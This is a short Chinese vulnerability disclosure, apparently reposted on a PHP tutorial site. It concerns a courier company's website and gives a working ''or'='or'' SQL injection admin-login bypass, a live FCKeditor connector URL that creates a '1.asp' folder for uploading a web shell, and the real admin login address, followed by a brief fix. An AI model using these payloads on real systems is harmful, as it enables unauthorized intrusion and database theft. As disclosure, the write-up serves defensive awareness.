港中能达快递后台登录页面注入及fckeditor编辑器-自学php网

港中能达快递后台登录页面注入及fckeditor编辑器

来源：自学PHP网时间：2015-04-17 13:03 作者：阅读:次

[导读] 后台登录页面使用#39;or#39;=#39;or#39; 直接登录，fckeditor编辑器构造表单上传。之前已经有大黑阔提权，或者脱裤。漏洞证明：http://www.nd56.com/fckeditor/editor/filemanager/connectors/aspx/conne......

后台登录页面使用'or'='or' 直接登录，fckeditor编辑器构造表单上传。之前已经有大黑阔提权，或者脱裤。
漏洞证明：
http://www.nd56.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Media&CurrentFolder=%2F&NewFolderName=1.asp

后台http://www.nd56.com/e9web-admin/login.htm

修复方案：
过滤，fckeditor该删的删除该改的改。

作者deeRix

新浪轻博客存储型XSS - 网站安全 - 自学php

CMS4J任意文件下载漏洞及修复 - 网站安全 - 自学

子栏目

港中能达快递后台登录页面注入及fckeditor编辑器

最新评论

添加评论

更多文章推荐

添加评论